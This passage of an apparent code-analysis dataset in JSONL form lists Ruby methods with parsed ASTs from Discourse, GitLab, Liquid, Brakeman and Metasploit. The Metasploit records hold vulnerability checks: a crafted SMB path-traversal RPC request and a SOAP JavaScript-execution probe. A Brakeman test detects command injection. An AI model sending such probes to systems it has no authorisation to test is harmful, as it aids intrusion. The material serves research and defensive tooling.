\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"SMB\"]},\"Exceptions\"]},\"LoginError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Connection reset\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"Connection reset during login\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"This most likely means a previous exploit attempt caused the service to crash\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"prefix\",{\"type\":\"str\",\"children\":[\"\\\\\"]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\u0000\\\\\\u0000/\"]},\"*\",{\"type\":\"int\",\"children\":[16]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_unicode\",{\"type\":\"str\",\"children\":[\"\\\\\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_unicode\",{\"type\":\"str\",\"children\":[\"R7\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_unicode\",{\"type\":\"str\",\"children\":[\"\\\\..\\\\..\\\\\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_unicode\",{\"type\":\"str\",\"children\":[\"R7\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\u0000\"]},\"*\",{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"server\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[8]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},\"upcase\"]}]},{\"type\":\"lvasgn\",\"children\":[\"handle\",{\"type\":\"send\",\"children\":[null,\"dcerpc_handle\",{\"type\":\"str\",\"children\":[\"4b324fc8-1670-01d3-1278-5a47bf6ee188\"]},{\"type\":\"str\",\"children\":[\"3.0\"]},{\"type\":\"str\",\"children\":[\"ncacn_np\"]},{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SMBPIPE\"]}]}]}]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dcerpc_bind\",{\"type\":\"lvar\",\"children\":[\"handle\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"SMB\"]},\"Exceptions\"]},\"ErrorCode\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SMB error: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"Verifying vulnerable status... (path: 0x%08x)\"]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"length\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"stub\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NDR\"]},\"uwstring\",{\"type\":\"lvar\",\"children\":[\"server\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NDR\"]},\"UnicodeConformantVaryingStringPreBuilt\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NDR\"]},\"long\",{\"type\":\"int\",\"children\":[8]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NDR\"]},\"wstring\",{\"type\":\"lvar\",\"children\":[\"prefix\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NDR\"]},\"long\",{\"type\":\"int\",\"children\":[4097]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NDR\"]},\"long\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"resp\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dcerpc\"]},\"call\",{\"type\":\"int\",\"children\":[31]},{\"type\":\"lvar\",\"children\":[\"stub\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"[]\",{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[4]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"V\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"simple\"]},\"client\"]},\"close\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"simple\"]},\"client\"]},\"tree_disconnect\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"==\",{\"type\":\"int\",\"children\":[5374044]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"System is not vulnerable (status: 0x%08x)\"]},\"%\",{\"type\":\"lvar\",\"children\":[\"error\"]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}]}]}","id":"5c7dd3f6-4baf-4564-838f-cbbcd37739d2"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20191219112000_remove_key_from_api_keys.rb","start_line":5,"raw_source":"def up\n    DROPPED_COLUMNS.each { |table, columns| Migration::ColumnDropper.execute_drop(table, columns) }\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DROPPED_COLUMNS\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table\"]},{\"type\":\"arg\",\"children\":[\"columns\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Migration\"]},\"ColumnDropper\"]},\"execute_drop\",{\"type\":\"lvar\",\"children\":[\"table\"]},{\"type\":\"lvar\",\"children\":[\"columns\"]}]}]}]}","id":"9c6d1350-48d8-4dd9-883f-2768014fc3f5"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/translation/base_translator.rb","start_line":57,"raw_source":"def get_max_tokens(text)\n        if text.length < 100\n          500\n        elsif text.length < 500\n          1000\n        else\n          text.length * 2\n        end\n      end","complexity_score":10.85,"ast_json":"{\"type\":\"def\",\"children\":[\"get_max_tokens\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"length\"]},\"<\",{\"type\":\"int\",\"children\":[100]}]},{\"type\":\"int\",\"children\":[500]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"length\"]},\"<\",{\"type\":\"int\",\"children\":[500]}]},{\"type\":\"int\",\"children\":[1000]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"length\"]},\"*\",{\"type\":\"int\",\"children\":[2]}]}]}]}]}","id":"60b52e89-2df2-4970-b5a3-8fbe6a2c1668"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/filter/references/external_issue_reference_filter.rb","start_line":93,"raw_source":"def call\n            # Early return if the project isn't using an external tracker\n            return doc if project.nil? || ExternalIssueReferenceFilter.default_issues_tracker?(project)\n\n            doc.xpath(query).each do |node|\n              node[\"href\"] = url_for_issue(node[\"data-external-issue\"])\n            end\n\n            doc\n          end","complexity_score":18.4,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ExternalIssueReferenceFilter\"]},\"default_issues_tracker?\",{\"type\":\"send\",\"children\":[null,\"project\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"doc\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"doc\"]},\"xpath\",{\"type\":\"send\",\"children\":[null,\"query\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[null,\"url_for_issue\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"[]\",{\"type\":\"str\",\"children\":[\"data-external-issue\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"doc\"]}]}]}","id":"41e1fed2-4555-4d53-97fd-9964c0a15ae3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/misc/indesign_server_soap.rb","start_line":89,"raw_source":"def check()\n    # Use a very simple javascript\n    check_var = rand_text_numeric(10)\n    checkscript = 'returnValue = \"' + check_var + '\"'\n\n    res = send_soap_request(checkscript, \"javascript\")\n\n    return Exploit::CheckCode::Vulnerable if res.body.include?('<data xsi:type=\"xsd:string\">' + check_var + '</data>')\n\n    return Exploit::CheckCode::Safe\n  end","complexity_score":13.3,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"check_var\",{\"type\":\"send\",\"children\":[null,\"rand_text_numeric\",{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"lvasgn\",\"children\":[\"checkscript\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"returnValue = \\\"\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"check_var\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_soap_request\",{\"type\":\"lvar\",\"children\":[\"checkscript\"]},{\"type\":\"str\",\"children\":[\"javascript\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<data xsi:type=\\\"xsd:string\\\">\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"check_var\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"</data>\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}","id":"098e4d8d-90ab-4467-b4c6-967fb8e379e5"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/user.rb","start_line":396,"raw_source":"def visible_sidebar_tags(user_guardian = nil)\n    user_guardian ||= guardian\n\n    DiscourseTagging.filter_visible(\n      Tag.where(\n        id: SidebarSectionLink.where(user_id: self.id, linkable_type: \"Tag\").select(:linkable_id),\n      ),\n      user_guardian,\n    )\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"visible_sidebar_tags\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"user_guardian\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_guardian\"]},{\"type\":\"send\",\"children\":[null,\"guardian\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseTagging\"]},\"filter_visible\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tag\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SidebarSectionLink\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"linkable_type\"]},{\"type\":\"str\",\"children\":[\"Tag\"]}]}]}]},\"select\",{\"type\":\"sym\",\"children\":[\"linkable_id\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"user_guardian\"]}]}]}]}","id":"3ee4bf32-184a-49f6-a32a-2ac1618ab3a7"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/stylesheet/importer.rb","start_line":277,"raw_source":"def font_special_properties(font, indent = 2)\n      contents = +\"\"\n      if font[:font_variation_settings].present?\n        contents << \"#{\" \" * indent}font-variation-settings: #{font[:font_variation_settings]};\\n\"\n      else\n        contents << \"#{\" \" * indent}font-variation-settings: normal;\\n\"\n      end\n\n      if font[:font_feature_settings].present?\n        contents << \"#{\" \" * indent}font-feature-settings: #{font[:font_feature_settings]};\\n\"\n      else\n        contents << \"#{\" \" * indent}font-feature-settings: normal;\\n\"\n      end\n\n      # avoiding adding normal to the CSS cause it is not needed in this case\n      if font[:font_variant_ligatures].present?\n        contents << \"#{\" \" * indent}font-variant-ligatures: #{font[:font_variant_ligatures]};\\n\"\n      end\n\n      contents\n    end","complexity_score":28.75,"ast_json":"{\"type\":\"def\",\"children\":[\"font_special_properties\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"font\"]},{\"type\":\"optarg\",\"children\":[\"indent\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"contents\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"+@\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"font\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"font_variation_settings\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contents\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},\"*\",{\"type\":\"lvar\",\"children\":[\"indent\"]}]}]},{\"type\":\"str\",\"children\":[\"font-variation-settings: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"font\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"font_variation_settings\"]}]}]},{\"type\":\"str\",\"children\":[\";\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contents\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},\"*\",{\"type\":\"lvar\",\"children\":[\"indent\"]}]}]},{\"type\":\"str\",\"children\":[\"font-variation-settings: normal;\\n\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"font\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"font_feature_settings\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contents\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},\"*\",{\"type\":\"lvar\",\"children\":[\"indent\"]}]}]},{\"type\":\"str\",\"children\":[\"font-feature-settings: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"font\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"font_feature_settings\"]}]}]},{\"type\":\"str\",\"children\":[\";\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contents\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},\"*\",{\"type\":\"lvar\",\"children\":[\"indent\"]}]}]},{\"type\":\"str\",\"children\":[\"font-feature-settings: normal;\\n\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"font\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"font_variant_ligatures\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contents\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},\"*\",{\"type\":\"lvar\",\"children\":[\"indent\"]}]}]},{\"type\":\"str\",\"children\":[\"font-variant-ligatures: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"font\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"font_variant_ligatures\"]}]}]},{\"type\":\"str\",\"children\":[\";\\n\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"contents\"]}]}]}","id":"64773bf8-6ef9-4fa0-b895-719edbc6b787"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/email_receiver_worker.rb","start_line":70,"raw_source":"def build_message(message, params = {})\n    {\n      class: self.class.name,\n      Labkit::Fields::CORRELATION_ID => Labkit::Correlation::CorrelationId.current_id,\n      message: message\n    }.merge(params)\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"build_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]},{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Labkit\"]},\"Fields\"]},\"CORRELATION_ID\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Labkit\"]},\"Correlation\"]},\"CorrelationId\"]},\"current_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}","id":"97c3d6ca-240e-4381-b50f-3a2e994008d9"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/unit/partial_cache_unit_test.rb","start_line":39,"raw_source":"def test_cache_state_is_stored_per_context\n    parse_context      = Liquid::ParseContext.new\n    shared_file_system = StubFileSystem.new(\n      'my_partial' => 'my shared value',\n    )\n    context_one = Liquid::Context.build(\n      registers: {\n        file_system: shared_file_system,\n      },\n    )\n    context_two = Liquid::Context.build(\n      registers: {\n        file_system: shared_file_system,\n      },\n    )\n\n    2.times do\n      Liquid::PartialCache.load(\n        'my_partial',\n        context: context_one,\n        parse_context: parse_context,\n      )\n    end\n\n    Liquid::PartialCache.load(\n      'my_partial',\n      context: context_two,\n      parse_context: parse_context,\n    )\n\n    assert_equal(2, shared_file_system.file_read_count)\n  end","complexity_score":14.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_cache_state_is_stored_per_context\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parse_context\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"ParseContext\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"shared_file_system\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StubFileSystem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"my_partial\"]},{\"type\":\"str\",\"children\":[\"my shared value\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"context_one\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"Context\"]},\"build\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"registers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_system\"]},{\"type\":\"lvar\",\"children\":[\"shared_file_system\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"context_two\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"Context\"]},\"build\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"registers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_system\"]},{\"type\":\"lvar\",\"children\":[\"shared_file_system\"]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[2]},\"times\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"PartialCache\"]},\"load\",{\"type\":\"str\",\"children\":[\"my_partial\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"lvar\",\"children\":[\"context_one\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parse_context\"]},{\"type\":\"lvar\",\"children\":[\"parse_context\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"PartialCache\"]},\"load\",{\"type\":\"str\",\"children\":[\"my_partial\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"lvar\",\"children\":[\"context_two\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parse_context\"]},{\"type\":\"lvar\",\"children\":[\"parse_context\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shared_file_system\"]},\"file_read_count\"]}]}]}]}","id":"8e6d63d6-a6ea-4fa4-b8e2-a2f952611aa0"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/rails52.rb","start_line":284,"raw_source":"def test_command_injection_interpolated_conditional_dangerous\n    assert_warning :type => :warning,\n      :warning_code => 14,\n      :fingerprint => \"35e75c9db1462a5945016a6d4dbc195cba7b2d105a0ef71070bdd6f305a0efef\",\n      :warning_type => \"Command Injection\",\n      :line => 49,\n      :message => /^Possible\\ command\\ injection/,\n      :confidence => 1,\n      :relative_path => \"lib/shell.rb\",\n      :code => s(:dxstr, \"echo \", s(:evstr, s(:if, s(:call, nil, :foo), s(:call, nil, :bar), nil)), s(:str, \" baz\")),\n      :user_input => s(:call, nil, :bar)\n  